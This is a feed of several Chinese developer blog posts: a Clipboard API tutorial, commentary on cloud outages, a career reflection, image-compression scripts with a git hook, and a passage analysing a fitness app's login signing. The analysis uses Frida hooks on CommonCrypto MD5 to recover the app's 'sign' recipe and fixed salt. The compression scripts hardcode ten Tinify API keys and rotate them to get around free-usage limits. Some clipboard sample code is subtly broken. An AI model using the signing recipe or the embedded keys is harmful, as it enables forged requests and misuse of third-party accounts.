其次,调用时需要明确获得用户的许可。权限的具体实现使用了 Permissions API,跟剪贴板相关的有两个权限:clipboard-write(写权限)和clipboard-read(读权限)。"写权限"自动授予脚本,而"读权限"必须用户明确同意给予。也就是说,写入剪贴板,脚本可以自动完成,但是读取剪贴板时,浏览器会弹出一个对话框,询问用户是否同意读取。


image.png


另外,需要注意的是,脚本读取的总是当前页面的剪贴板。这带来的一个问题是,如果把相关的代码粘贴到开发者工具中直接运行,可能会报错,因为这时的当前页面是开发者工具的窗口,而不是网页页面。


(async () => {
const text = await navigator.clipboard.readText();
console.log(text);
})();

如果你把上面的代码,粘贴到开发者工具里面运行,就会报错。因为代码运行的时候,开发者工具窗口是当前页,这个页面不存在 Clipboard API 依赖的 DOM 接口。一个解决方法就是,相关代码放到setTimeout()里面延迟运行,在调用函数之前快速点击浏览器的页面窗口,将其变成当前页。


setTimeout(
async () => {
const text = await navigator.clipboard.readText();
console.log(text);
},
2000);

上面代码粘贴到开发者工具运行后,快速点击一下网页的页面窗口,使其变为当前页,这样就不会报错了。


Clipboard 对象


Clipboard 对象提供了四个方法,用来读写剪贴板。它们都是异步方法,返回 Promise 对象。


Clipboard.readText()


Clipboard.readText()方法用于复制剪贴板里面的文本数据。


document.body.addEventListener(
'click',
async (e) => {
const text = await navigator.clipboard.readText();
console.log(text);
}
)

上面示例中,用户点击页面后,就会输出剪贴板里面的文本。注意,浏览器这时会跳出一个对话框,询问用户是否同意脚本读取剪贴板。


如果用户不同意,脚本就会报错。这时,可以使用try...catch结构,处理报错。


async function getClipboardContents() {
try {
const text = await navigator.clipboard.readText();
console.log('Pasted content: ', text);
} catch (err) {
console.error('Failed to read clipboard contents: ', err);
}
}

Clipboard.read()


Clipboard.read()方法用于复制剪贴板里面的数据,可以是文本数据,也可以是二进制数据(比如图片)。该方法需要用户明确给予许可。


该方法返回一个 Promise 对象。一旦该对象的状态变为 resolved,就可以获得一个数组,每个数组成员都是 ClipboardItem 对象的实例。


async function getClipboardContents() {
try {
const clipboardItems = await navigator.clipboard.read();
for (const clipboardItem of clipboardItems) {
for (const type of clipboardItem.types) {
const blob = await clipboardItem.getType(type);
console.log(URL.createObjectURL(blob));
}
}
} catch (err) {
console.error(err.name, err.message);
}
}

ClipboardItem 对象表示一个单独的剪贴项,每个剪贴项都拥有ClipboardItem.types属性和ClipboardItem.getType()方法。


ClipboardItem.types属性返回一个数组,里面的成员是该剪贴项可用的 MIME 类型,比如某个剪贴项可以用 HTML 格式粘贴,也可以用纯文本格式粘贴,那么它就有两个 MIME 类型(text/html和text/plain)。


ClipboardItem.getType(type)方法用于读取剪贴项的数据,返回一个 Promise 对象。该方法接受剪贴项的 MIME 类型作为参数,返回该类型的数据,该参数是必需的,否则会报错。


Clipboard.writeText()


Clipboard.writeText()方法用于将文本内容写入剪贴板。


document.body.addEventListener(
'click',
async (e) => {
await navigator.clipboard.writeText('Yo')
}
)

上面示例是用户在网页点击后,脚本向剪贴板写入文本数据。


该方法不需要用户许可,但是最好也放在try...catch里面防止报错。


async function copyPageUrl() {
try {
await navigator.clipboard.writeText(location.href);
console.log('Page URL copied to clipboard');
} catch (err) {
console.error('Failed to copy: ', err);
}
}

Clipboard.write()


Clipboard.write()方法用于将任意数据写入剪贴板,可以是文本数据,也可以是二进制数据。


该方法接受一个 ClipboardItem 实例作为参数,表示写入剪贴板的数据。


try {
const imgURL = 'https://dummyimage.com/300.png';
const data = await fetch(imgURL);
const blob = await data.blob();
await navigator.clipboard.write([
new ClipboardItem({
[blob.type]: blob
})
]);
console.log('Image copied.');
} catch (err) {
console.error(err.name, err.message);
}

上面示例中,脚本向剪贴板写入了一张图片。注意,Chrome 浏览器目前只支持写入 PNG 格式的图片。


ClipboardItem()是浏览器原生提供的构造函数,用来生成ClipboardItem实例,它接受一个对象作为参数,该对象的键名是数据的 MIME 类型,键值就是数据本身。


下面的例子是将同一个剪贴项的多种格式的值,写入剪贴板,一种是文本数据,另一种是二进制数据,供不同的场合粘贴使用。


function copy() {
const image = await fetch('kitten.png');
const text = new Blob(['Cute sleeping kitten'], {type: 'text/plain'});
const item = new ClipboardItem({
'text/plain': text,
'image/png': image
});
await navigator.clipboard.write([item]);
}

举个🌰


  // 复制功能
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>

<body>
<input type="text" value="AJS4EFS" readonly id="textAreas" />
<!--右边是一个按钮-->
<a href="javascript:;" class="cuteShareBtn" id="copyBtn" onclick="copy()">复制</a>
</body>

<script>
function copy() {
const text = document.querySelector("#textAreas").value
if (navigator.clipboard) {
navigator.clipboard.writeText(text)
}
else {
const textAreas = document.createElement("textareas")
textAreas.style.clip = "rect(0 0 0 0)"
textAreas.value = text;
text.select()
document.execCommand('copy')
document.body.removeChild(textAreas)
}
}
</script>

</html>

作者:呜嘶
来源:juejin.cn/post/7306327158130311183
收起阅读 »

降本增笑,阿里云的数据库管控又崩了

最近阿里巴巴为大家枯燥的生活带来了不少谈资,大家笑称为“降本增笑”。 先是10月23日语雀接近8个小时的宕机,然后是11月12日阿里云底层授权模块接近3个小时的服务不可用,今天(11月27日)又是接近2个小时的数据库管控故障,每两周一次故障,偶尔的一次还能说的...
继续阅读 »

最近阿里巴巴为大家枯燥的生活带来了不少谈资,大家笑称为“降本增笑”。


先是10月23日语雀接近8个小时的宕机,然后是11月12日阿里云底层授权模块接近3个小时的服务不可用,今天(11月27日)又是接近2个小时的数据库管控故障,每两周一次故障,偶尔的一次还能说的过去,这么频繁的故障,发故障公告的同学可能也觉得头皮发麻了!


WechatIMG96.jpeg


伴随着阿里云的频繁报障,大家对阿里云的信任进一步降低,之前卖力宣传的自主云难道就是这个水平。我这个10年的阿里云用户,也不免心生疑虑,阿里云要不行了吗?要不要把之前自有的Redis集群再搞起来?要不要试试多云部署?


最近几年有一个下云的技术潮流,核心思想就是云服务太TM贵了,下云之后节省的不是一点半点。当然下云也有下云的问题,硬件和软件都要搞起来,得能自己玩的转,不过现在有K8S,一般企业用这个就可以快速搭建起自己的私有云,如果用这个还有问题的话,绝对不是一般企业,技术牛人招过来基本也能解决。


不过这也不是说所有的企业都适合下云,新成立的企业,云成本比较低的企业,选择公有云还是一个比较靠谱的方案,对于新企业最重要的是把业务跑通,获取稳定的盈利,然后才是降本增效,考虑要不要搞个私有云,而不是一上来就铺个大摊子。


对于使用私有云的企业,很多也不是完全放弃了公有云,而是混合使用,站在成本的角度,企业往往会有一些突发的计算需求,公有云能提供更灵活的计算资源,时常用一下还是挺不错的。


这两次出现故障的方面都在管控程序,服务器实例,数据库实例、存储实例运行的还比较正常,所以如果你使用公有云,又想不被它牵制的太多,只使用最基础的服务可能也是一种比较好的策略,比如只使用云服务器,其它数据库、文件存储都采用成熟的开源方案。当然这需要具备一定的技术维护能力。


如何使用公有云,大家要三思而后行。


原因


对于阿里频繁技术故障背后的原因,有网友归结为阿里的大规模裁员,有网友根据阿里的财报数据估算,近9个月内,阿里减少了1.5万人。结合互联网行业广泛存在的35岁现象,很多人认为大量有着丰富经验的程序员都被裁员毕业了,剩下的都是一些经验不怎么足够的小年轻,所以故障就不可避免的出现了。裁员本为降本,却一不小心让大家看了笑话,此所谓降本增笑。


还有网友们对阿里文化的吐槽,高P员工热衷于搞一些概念PPT、PUA下属,所有工作都扔给下级能力不怎么强的低P员工,不了解底层和实现,出了问题就杀两个程序员祭天。


以上大概就是大家认为的阿里云频繁出现故障的原因。但真的是这样吗?


咱们先看下裁员问题。阿里虽然裁掉了很多人,但是也没有超过10%,一个10人的团队,怎么也得有两三个技术比较牛的大佬吧,所以不至于没人顶得上。再说如果真的缺少某方面的技术能力,阿里应该还是能通过招聘解决的。


再看文化的事,这个就很难说了,文化确实能影响一个公司的成败。


如果管理者每天醉心于新思路、新概念,只关注上线进度,开发人员可能就会在各种deadline之间疲于奔命,让他们能吃透业务、搞清楚各种概念之间的关系,可以说是痴人说梦,有时他们甚至会舍弃一些技术指标,因为他们想的可能是赶紧把迭代完成,千万别影响了个人和团队绩效,哪有时间认真思考技术决策,程序就可能越写越乱,相互冲突,相互耦合,难以维护,容易出问题,而且出了问题不好解决,当这个情况累计到一定的程度,问题就开始猛烈而频繁地爆发出来了。


技术的问题自然可以解决,只是市场和用户留给阿里云的时间还有多少?


如果真的是管理或者文化上的问题,阿里云有没有自我革新的力量?


作者:萤火架构
来源:juejin.cn/post/7306019536813686818
收起阅读 »

那些年走岔的路,一个人总要为自己的认知买单!

前天晚上彻夜难眠,翻来覆去,直到差不多凌晨四点才睡着,早上八点就起床上班了,很久都没有失眠了,失眠真的让人很痛苦。 回想起一些往事,自己做对了一些选择,但是也做错了很多选择,我想这大概就是人生,现在回想起来,不曾后悔,只有总结! 一 大四下学期我们就离开学校了...
继续阅读 »

前天晚上彻夜难眠,翻来覆去,直到差不多凌晨四点才睡着,早上八点就起床上班了,很久都没有失眠了,失眠真的让人很痛苦。


回想起一些往事,自己做对了一些选择,但是也做错了很多选择,我想这大概就是人生,现在回想起来,不曾后悔,只有总结!



大四下学期我们就离开学校了,加上寒假的两个月,实际上我们的实习期有半年多,但是找工作应该是大四上学期就开始了。


那时候彪哥整天都在面试,积累了不少面试经验,也学习了不少知识,而那时候我鬼迷心窍,去做项目去了。


因为一些巧合,我加入了一个SAAS软件开发的小团队,做的是酒店方面的业务,我是远程办公,那段时间一边做毕设,一边做项目,但是做毕设的时间很少,因为论文就花了五天时间去写,更多是在做酒店项目。


现在我有一部分读者都是从我的区块链毕设过来的,我想对你们说一声,感谢你们的付费,但是也想对你们说一声对不起,如果当时我专心去做毕设,或许呈现在你们眼前的作品会更好,但是时间不能重来!


但是后来我仔细思考,我既不应该花时间去做毕设,也不应该为了点钱去做项目!


纵使我的毕设得了优秀毕设,算是我们那一届最优秀的毕设,但是并没有什么卵用,你的简历并不会因为一个优秀毕设而变得多么耀眼。


为了一点钱去做项目也不理智,因为一个人的时间是有限的,当把时间碎片化后,就很难集中去做一件事了,当时虽然说给我6k一个月,但是因为很多东西不熟悉,所以现去学,像uniapp都去学了,所以功能完成度和质量不高,一个月只给我结了3000不到!


干了两个月我们就毕业了,我收拾行李就回家了。



回到家里后,他们说直接给我一个单独项目做,也是一个SAAS的系统,说开发周期2个月,5万块钱,我当时心里想,一个月两万多,我直接不去实习了,安心干,干完我还可以玩几个月,这他妈多好啊。


于是我就接下来了,就开始进入coding状态,白天干,晚上干,后面在家里呆烦了,又跑回学校去。


在学校呆了半个多月,我做了50%,于是迫于经济压力,又回家了,回家最起码不愁饭吃。


图片


那时候,我把自己定义为一个自由职业者,我也挺享受这样的生活,coding累了,就出去走走,回来后又继续coding,说实话,还挺享受!


那时候基本上大多同学都出去实习了,有些去了很不错的互联网公司,听他们说公司又是用什么牛逼的技术了,心里就突然有点羡慕。


但是想到项目做完马上能拿到钱了,就没有去羡慕了。


两个月时间很快到了,老板准时来验收了,不过一验bug足足提了几百个,还有很多变更,老板说尽快改完!


当时我有点懵,不应该先给我点钱吗?


我就说先付40%给我,但是人家说,你这玩意用起来到处是问题,无法用啊,怎么给钱?


我无话可说,拿不到钱,心里更加焦虑了,想不干了,那么就前功尽弃,如果继续干,问题越来越多,变更越来越多,思来想去,最后还是硬着头皮干了!


陆陆续续又干了半个多月,这时候二验又开始了,老板说这次稍微好了一点,但是也无法用啊,于是叫我把代码上传到他们仓库,然后给我付3000块钱,开发完后再一起结,我自然不愿意。


我想,代码给你了,你不理我了怎么办,所以我还是想等开发完以后拿到钱再交代码。


这时候我干了快三个月了,心里虽然看到一点希望,但是更多的是焦虑,因为再有几个月了就要毕业了,而我还没有去实习!


父母也开始念叨,心里的压力就更大了,我想,再干半个月,还拿不了钱,我真的就不干了。


我又继续做,为了快速做完,很多东西我都是没有考虑的,所以问题自然也多,特别还有硬件对接,还有一些复杂的操作。


说实话,这东西暂时肯定是用不了的,但是为了能拿到钱,我也带有一点骗的成分在里面,偷工减料,以为人家看不出来,实际上别人比你精多!


很多项目二验不通过,那基本就烂尾了,但是老板说,来个三验,果然还是用不了,问题很多,所以依然没拿到钱。


心里更加烦躁了,后面我直接说要么给钱,要么不做了,心里彻底崩溃了,心里后悔,为啥要去接这个项目,为啥浪费这么多时间,为啥不去实习。


后面老板说,如果你不想开发了也可以,把代码交出来,给你5000块钱,后面你和别人一起协同开发,不用全职开发。


我心里是抗拒的,干了这么久才几千块钱,心有不甘,不过过了几天,因为经济压力,所以还是选择交出代码了,谈成了6000块钱。


因为我知道他们会一直加需求,一直在变更,是一个无底洞!


三个多月,就得了6000块钱,心里别提多难受,不过好在暂时有点钱用。


于是直接就不干了,在家里呆了几天就开始投简历了,只有三个月不到就毕业了,所以自然去不了外面了,于是只能在省会城市找实习了。


还好那时候面试机会还挺多,一个星期不到就入职了,6000块钱的实习,就去干了,说实话,一个三线城市,也只能开这么多了!


不过现在这种就业环境,如果学历背景没有占优势,三线城市找6000以上的实习,还是比较难的,这两年市场真的比较低迷了!


“自由职业者“的那段时间,大概是我这么多年来最煎熬的时光,因为总是在希望和失望中来回穿梭。


后来我在书中看到一段话,“如果命运给你一次机会,哪怕是一根稻草,你也要牢牢抓住”,显然那个时候我的认知比较低,认为那就是命运的稻草,但是实际上那不是,那是荆棘!


当你的认知和能力都不够的时候,就算钱摆在你面前你都拿不了。



落笔到这里,心里不禁泛起一阵酸楚!


一个人总要为自己的认知买单的,因为在很黄金的时间阶段,我去做了不太正确的选择,虽然不曾后悔,但是我知道那是不理智的选择。


这段回忆虽然会成为我人生的阅历,甚至可以说是一种财富,但是他终归是一个教训,不值得提倡!



在大四上学期,应该快速把毕设做完,然后进入复习,投简历,即使找不到工作,也能锻炼面试能力,对自己的知识体系进行查缺补漏!


优秀毕设,论文,这些在本科阶段实际上没什么卵用,不过是教育的一个考核而已。


在校期间,那些社团活动,学生会并不能为你将来的职业发展发挥多大的作用,切勿过于沉迷!


眼前的小钱是陷阱,在未来很快就能赚回来!


在学校期间,兼职是完全没有必要的,因为赚不了几个钱,但是却花费了大量的时间,学生时期正是学习知识的时候,浪费了就没有了。


因为把只是学扎实,这点钱等毕业后一个月就能全部赚回来,但是如果浪费了,将要用很多时间去弥补,这时候你已经落后于别人很多了!


虽然我去做项目也能锻炼自己的能力,但是时机不对,如果大三去做那么没问题,但是在临近毕业之际去做,这就是不理智的。



学生时代,对于项目我们是没有风险把控能力的,也不清楚项目的流程,所以能赚到钱的几率不大!


我浪费了三四个月的时间去做一个项目这是不理智的,首先单干很有局限性,因为独木不成舟,你很多东西考虑不到位,所以会有很多漏洞。


还有你不能学习优秀的人的逻辑,实际上你是处于一个封闭的状态。


我觉得正确的做法是应该找一个不错的公司进去学习,融入团队,这样才能真的学到东西。


天真的是,我当时还想将其打造成一个产品,然后进行创业!


后来想想,自己如果真的投入时间去做了,那么不仅赚不到钱,可能还会饿肚子。


不用说什么不去试试怎么知道。


当你的认知跟不上的时候,你所想的,所做的,基本上都不会成功,不要想着幸运之神降临在你的身上。



那年,我傻逼地把自己定义为自由职业者。


实际上我连边都沾不上,因为没有赚到钱,还谈什么自由,叫“烂账职业者”还差不多。


今天,我们总是去羡慕那些自由职业者每天不用上班也能赚钱,实际上和你看到的不一样。


自由职业者赚到钱的人只有少数,但是都是经历过很多尝试,认知得到飞跃地提升后才成的。


不过可以肯定的是,未来自由职业者会越来越多,个人IP也将在未来大爆发。


布局是我们该做的事。


种一棵树最好的时间是十年前,其次是现在。



以上也就是对于过去的一些反思,我从来不去抱怨过去,只是去思考自己。


因为每一条路都没有对错,只能说很多时候选择大于努力。


路走岔了的时候要及时止损,不要一头黑走到底,这样对自己不好。


对于未来,还是得比较理性去看待,虽然充满各种不确定性,但是很多确定性的东西我们是能看到的。


行文至此,已经凌晨2点!


作者:追梦人刘牌
来源:juejin.cn/post/7306143755585486848
收起阅读 »

图片自动压缩

在进行包大小优化工作时,压缩图片的大小是其中一个重要的环节。而要压缩的图片包括本地项目中的图片和之后要新增到项目中的图片。所以压缩图片分为两个部分: 遍历项目中的所有图片,压缩后替换原图片 每次git提交代码前,如果有新增图片,进行压缩后再提交 压缩本地项...
继续阅读 »

在进行包大小优化工作时,压缩图片的大小是其中一个重要的环节。而要压缩的图片包括本地项目中的图片和之后要新增到项目中的图片。所以压缩图片分为两个部分:



  1. 遍历项目中的所有图片,压缩后替换原图片

  2. 每次git提交代码前,如果有新增图片,进行压缩后再提交


压缩本地项目中的图片


require "fileutils"
require "find"
require "tinify"

t = Time.now
$image_count = 0
$total_size = 0
$total_after_size = 0
$fail_count = 0
$success_count = 0
$success_file_name = "successLog.txt"
$fail_file_name = "failLog.txt"
compress_dir = "/Users/zhouweijie1/Documents/test/Expression.xcassets" #将要压缩的文件夹路径放这
# 获取白名单列表路径
$white_list_path = "#{Dir.pwd}/gitHooks/imageCompressWhiteList.txt"

$keys = ['tbfVHxRmxxR3Vb3XQwrxMbfHPNnxszpH', 'B83mGyQcbpmFzz1Qym5ZdhT3Ss503b5b', 'L1DfbF8kpRzstlMfbvmkvCSg6knkQD71', '2L6km1p5yJRZsNYs0GJ6m4klL1rMJ4RJ', '5wmc8dDxY1WKg4DTPSLXQ20dWWjRbzyG', '1DkYWCXDvPJfMrNbV6NPB0QpQTGzZLfD', 'bRG9yXbc07w77sP43gqjgP8tlgDPjdVJ', 'xwvXrTp2pSJYWDjkHQ7wTBTxDMbLdx4r', '4pFYmxVBK6vnpKR5hh8r0hD4BGmS75K4', '6rSpQHxHpygLyZMQnTH6WNjxGVV9mt0x']
$keys_index = -1

def setup_key
$keys_index += 1
Tinify.key = $keys[$keys_index]
Tinify.validate! # validate后会更新compression_count
if $keys_index == $keys.length
puts "本月所有免费使用次数都用完,请增加key"
elsif Tinify.compression_count >= 500
setup_key
end
end

def write_log(fail, success)
if success != 0
file = File.new($success_file_name, "a")
file.syswrite("#{success}\n")
end
if fail != 0
file = File.new($fail_file_name, "a")
file.syswrite("#{fail}\n")
end
end

def compress(image_name)
begin
# Use the Tinify API client.
origin_size = File.size(image_name)
Tinify.from_file(image_name).to_file(image_name)
log = image_name + "\n#{origin_size} bit" + " -> " + "#{File.size(image_name)} bit"
puts log + ":#{Time.now}"
write_log(0, log)
$success_count += 1
rescue Tinify::AccountError
# Verify your API key and account limit.
setup_key
print("失效的key:" + Tinify.key + "\n")
compress(image_name)
rescue Tinify::ClientError => e
# Check your source image and request options.
log = image_name + "\nClientError:#{e.message}"
puts log + ":#{Date.now}"
write_log(log, 0)
$fail_count += 1
rescue Tinify::ServerError => e
# Temporary issue with the Tinify API.
log = image_name + "\nServerError:#{e.message}"
puts log + ":#{Date.now}"
write_log(log, 0)
$fail_count += 1
rescue Tinify::ConnectionError => e
# A network connection error occurred.
log = image_name + "\nConnectionError:#{e.message}"
puts log + ":#{Date.now}"
write_log(log, 0)
$fail_count += 1
rescue => e
# Something else went wrong, unrelated to the Tinify API.
log = image_name + "\nOtherError:#{e.message}"
puts log + ":#{Time.now}"
write_log(log, 0)
$fail_count += 1
end
end
# 检测到文件夹中所有PNG和JPEG图片并压缩
def traverse_dir(file_path)
setup_key
Dir.glob(%W[#{file_path}/**/*.png #{file_path}/**/*.jpeg]).each do |image_name|
$total_size += File.size(image_name)
# compress(image_name)
$total_after_size += File.size(image_name)
$image_count += 1
end
end

traverse_dir(compress_dir)
time = "时间:#{Time.now - t}s from #{t} to #{Time.now}"
count = "图片总数:#{$image_count},本次压缩图片数:#{$image_count}, 成功图片数:#{$success_count},失败图片数:#{$fail_count}"
size = "之前总大小:#{$total_size/1024.0} k,之后总大小:#{$total_after_size/1024.0} k,优化大小:#{($total_size - $total_after_size)/1024.0}"
puts time
puts count
puts size
write_log(0, time)
write_log(0, count)
write_log(0, size)
complete = "压缩完毕!!!"
if $fail_count != 0
complete += "有#{$fail_count}张图片失败,请查看:#{File.absolute_path($fail_file_name)}"
end
puts complete

# 检查key的免费使用次数
def check_keys_status
$keys.each do |key|
begin
Tinify.key = key
Tinify.validate!
puts "#{key}:#{Tinify.compression_count}"
rescue
end
end
end
# 白名单
def ignore?
file = File.new($white_list_path, "a+")
file.readlines.each { |line|
line_without_white_space = line.strip
if line_without_white_space.length > 0
result = $image_path.match?(line_without_white_space)
if result
return true
end
end
}
return false
end

压缩即将提交的图片


要压缩即将提交的图片,就要使用git hook拦截代码提交动作,将pre-commit文件放到.git/hooks文件中就行了。pre-commit文件中的代码逻辑为获取当前提交的内容,遍历是否是图片,是的话就执行压缩脚本:


#!/bin/sh

#
检测是否为最初提交
if git rev-parse --verify HEAD >/dev/null 2>&1
then
against=HEAD
else
# Initial commit: diff against an empty tree object
against=4b825dc642cb6eb9a060e54bf8d69288fbee4904
fi

#
If you want to allow non-ASCII filenames set this variable to true.
git config hooks.allownonascii true

#
Redirect output to stderr.
exec 1>&2

#
获取.git所在目录
git_path=$(cd "$(dirname "$0")";cd ..;cd ..; pwd)
#获取当前分支名
branch=$(git symbolic-ref --short HEAD)

#
得到修改过的代码的文件列表
git diff --cached --name-only --diff-filter=ACMR -z $against | while read -d $'\0' f; do
if [[ $f == *".png" || $f == *".jpg" || $f == *".jpeg" ]];then
#拼接文件绝对路径
path="$(cd "$(dirname "$0")";cd ..;cd ..; pwd)/$f"
pattern='/Pods/'
pathStr="$path"
if [[ ! ($pathStr =~ $pattern) ]]; then
#执行压缩脚本
ruby "$git_path/gitHooks/imageCompressor.rb" $path $branch
git add $f
fi
fi

done

压缩脚本单独放在一个文件中,内容如下:


require "tinify"

$keys = %w[tbfVHxRmxxR3Vb3XQwrxMbfHPNnxszpH B83mGyQcbpmFzz1Qym5ZdhT3Ss503b5b L1DfbF8kpRzstlMfbvmkvCSg6knkQD71 2L6km1p5yJRZsNYs0GJ6m4klL1rMJ4RJ 5wmc8dDxY1WKg4DTPSLXQ20dWWjRbzyG 1DkYWCXDvPJfMrNbV6NPB0QpQTGzZLfD bRG9yXbc07w77sP43gqjgP8tlgDPjdVJ xwvXrTp2pSJYWDjkHQ7wTBTxDMbLdx4r 4pFYmxVBK6vnpKR5hh8r0hD4BGmS75K4 6rSpQHxHpygLyZMQnTH6WNjxGVV9mt0x]
$keys_index = -1
$image_path = ARGV[0]
$branch_name = ARGV[1]
# 获取.git所在目录
git_path = `git rev-parse --git-dir`; git_path = git_path.strip;
# 获取当前文件所在目录
cur_path = `printf $(cd '#{git_path}'; cd ..; pwd)/gitHooks`; cur_path = cur_path.strip;
$white_list_path = "#{cur_path}/imageCompressWhiteList.txt"
def setup_key
$keys_index += 1
Tinify.key = $keys[$keys_index]
Tinify.validate! # validate后会更新compression_count
if $keys_index == $keys.length
puts "本月所有免费使用次数都用完,请增加key"
elsif Tinify.compression_count >= 500
setup_key
end
end

def ignore?
file = File.new($white_list_path, "a+")
file.readlines.each { |line|
line_without_white_space = line.strip
if line_without_white_space.length > 0
result = $image_path.match?(line_without_white_space)
if result
return true
end
end
}
return false
end

begin
# Use the Tinify API client.
result = ignore?
if result
puts "图片在白名单中,不压缩:" + $image_path
else
setup_key
Tinify.from_file($image_path).to_file($image_path)
puts "图片压缩成功:" + $image_path
end
rescue Tinify::AccountError
# Verify your API key and account limit.
setup_key
rescue Tinify::ClientError => e
# Check your source image and request options.
puts "图片压缩失败:" + $image_path + ", ClientError:#{e.message}"
rescue Tinify::ServerError => e
# Temporary issue with the Tinify API.
puts "图片压缩失败:" + $image_path + ", ServerError:#{e.message}"
rescue Tinify::ConnectionError => e
# A network connection error occurred.
puts "图片压缩失败:" + $image_path + ", ConnectionError:#{e.message}"
rescue => e
# Something else went wrong, unrelated to the Tinify API.
puts "图片压缩失败:" + $image_path + ", OtherError:#{e.message}"
end


如果某张图片不需要或者不能压缩,需要将图片名放到白名单中,白名单格式如下:


test_expression_100fen@3x.png
test_expression_666@3x.png
expression_100fen@3x.png

上面提到将pre-commit文件放到.git/hooks文件中就可以实现提交拦截,也可以用脚本完成这个操作:
文件名:setupGitHook.rb


#!/usr/bin/ruby
require "Fileutils"

# 获取.git所在目录
git_path = `git rev-parse --git-dir`; git_path = git_path.strip;
# 获取当前文件所在目录
cur_path = `printf $(cd '#{git_path}'; cd ..; pwd)/gitHooks`; cur_path = cur_path.strip;
puts "gitPath:#{git_path}"
puts "cur_path:#{cur_path}"
# .git目录下没有hooks文件夹时新建一个
if Dir.exist?("#{git_path}/hooks") == false
FileUtils.mkpath("#{git_path}/hooks")
end
# 将当前文件夹中pre-commit文件拷贝到.git/hooks目录下
FileUtils.cp("#{cur_path}/pre-commit", "#{git_path}/hooks/pre-commit")

当同事很多时,比如有四十多个,让每个人都在项目目录下执行一遍setupGitHook.rb,每个同事都来问一遍就比较麻烦了。所以可以添加一个运行脚本,运行项目时自动执行就可以了:


# Type a script or drag a script file from your workspace to insert its path.

#
获取gitHooks文件夹位置

gitHooks_path=$(**cd** "$(git rev-parse --git-dir)"; **cd** ..; **pwd**;)/gitHooks

ruby $gitHooks_path/setupGitHook.rb

如下图:


image.png



Demo地址:github.com/Wejua/Demos…


作者:和时间赛跑ing
来源:juejin.cn/post/7287246372054876216
收起阅读 »

某运动APP的登录协议分析

iOS
前言 最近在尝试逆向方向相关的探索,针对某款运动APP的登录协议进行了分析,此文记录一下分析过程与结果,仅供学习研究,使用的工具较少,内容也比较简单,新手项,大佬请跳过。针对密码登录模块进行分析,随便输入一个手机号与密码,后续使用抓包工具分析,针对登录协议的几...
继续阅读 »

前言


最近在尝试逆向方向相关的探索,针对某款运动APP的登录协议进行了分析,此文记录一下分析过程与结果,仅供学习研究,使用的工具较少,内容也比较简单,新手项,大佬请跳过。针对密码登录模块进行分析,随便输入一个手机号与密码,后续使用抓包工具分析,针对登录协议的几个字段从学习角度还是值得看下实现逻辑的。


抓包



  1. 抓包使用 Charles,请自行安装并配置证书

  2. 抓取登陆接口,点击密码登陆。使用假账密测试抓包,能够抓包成功
    image-20230807174512922.png


Sign分析


首先能看到请求头里面有sign字段,针对该字段进行分析:



sign: b61df9a8bce7a8641c5ca986b55670e633a7ab29



整体长度为40,常用的MD5长度为32,第一反应不太像,但是也有可能md5以后再拼接其它字段,sha1散列函数的长度是40,正好吻合。那我们就一一验证,先看下是否有MD5的痕迹,直接写脚本frida试着跑下。 脚本内容比较明确,针对MD5的Init、Update、Final分别hook打印看下输入与输出,下面给到关键代码:


   // hook CC_MD5
   // unsigned char * CC_MD5(const void *data, CC_LONG len, unsigned char *md);
   Interceptor.attach(Module.findExportByName("libcommonCrypto.dylib", g_funcName), {
       onEnterfunction(args) {
           console.log(g_funcName + " begin");
           var len = args[1].toInt32();
           console.log("input:");
           dumpBytes(args[0], len);
           this.md = args[2];
      },
       onLeavefunction(retval) {
           console.log(g_funcName + " return value");
           dumpBytes(this.md, g_funcRetvalLength);

           console.log(g_funcName + ' called from:\n' +
               Thread.backtrace(this.contextBacktracer.ACCURATE)
              .map(DebugSymbol.fromAddress).join('\n') + '\n');
      }
  });

   // hook CC_MD5_Update
   // int CC_MD5_Update(CC_MD5_CTX *c, const void *data, CC_LONG len);
   Interceptor.attach(Module.findExportByName("libcommonCrypto.dylib", g_updateFuncName), {
       onEnterfunction(args) {
           console.log(g_updateFuncName + " begin");
           var len = args[2].toInt32();
           console.log("input:");
           dumpBytes(args[1], len);
      },
       onLeavefunction(retval) {
           console.log(g_updateFuncName + ' called from:\n' +
               Thread.backtrace(this.contextBacktracer.ACCURATE)
              .map(DebugSymbol.fromAddress).join('\n') + '\n');
      }
  });

   // hook CC_MD5_Final
   // int CC_MD5_Final(unsigned char *md, CC_MD5_CTX *c);
   Interceptor.attach(Module.findExportByName("libcommonCrypto.dylib", g_finalFuncName), {
       onEnterfunction(args) {
           //console.log(func.name + " begin");
           finalArgs_md = args[0];
      },
       onLeavefunction(retval) {
           console.log(g_finalFuncName + " return value");
           dumpBytes(finalArgs_md, g_funcRetvalLength);

           console.log(g_finalFuncName + ' called from:\n' +
               Thread.backtrace(this.contextBacktracer.ACCURATE)
              .map(DebugSymbol.fromAddress).join('\n') + '\n');
      }
  });

很幸运,在打印中明显看到了sign相关的内容打印,但是缺少sign的后面一部分,那就明确sign值的构成为32(md5)+8,先看下md5的数据构造过程。



b61df9a8bce7a8641c5ca986b55670e6 33a7ab29



image-20230807174427349.png
通过打印可以明确的看到,sign的MD5由三部分数据组成,分别为:bodyData+Url+Str,body数据也可从Charles获取到。



  • {"body":"5gJEXtLqe3tzRsP8a/bSwehe0ta3zQx6wG7K74sOeXQ6Auz1NI1bg68wNLmj1e5Xl7CIwWelukC445W7HXxJY6nQ0v0SUg1tVyWS5L8E2oaCgoSeC6ypFNXV2xVm8hHV"}

  • /account/v4/login/password

  • V1QiLCJhbGciOiJIUzI1NiJ9
    image-20230807174635667.png
    到这里有一个疑问,数据的第三部分:V1QiLCJhbGciOiJIUzI1NiJ9,该值是固定的字符串还是每次都变化的?猜测应该是固定的字符串,作为MD5的Salt值来使用,我们再次请求验证一下。
    image-20230807181042213.png
    新的sign值为:131329a5af4ecb025fb5088615d5e5c526dbd1a3,通过脚本打印的数据能确认第三部分为固定字符串。
    MD5({"body":"12BcOSg50nLxdbt++r7liZpeyWAVpmihTy8Zu8BmpA6a1hqdevS5PPYwnbtpjN05xgeyReSihh9idyfriR6qx1Fbo8AA0k8HQt6gJ3spWITI21GhLTzh9PDUkgjCtrEK"}/account/v4/login/passwordV1QiLCJhbGciOiJIUzI1NiJ9)
    image-20230807181119463.png


Sign尾部分析


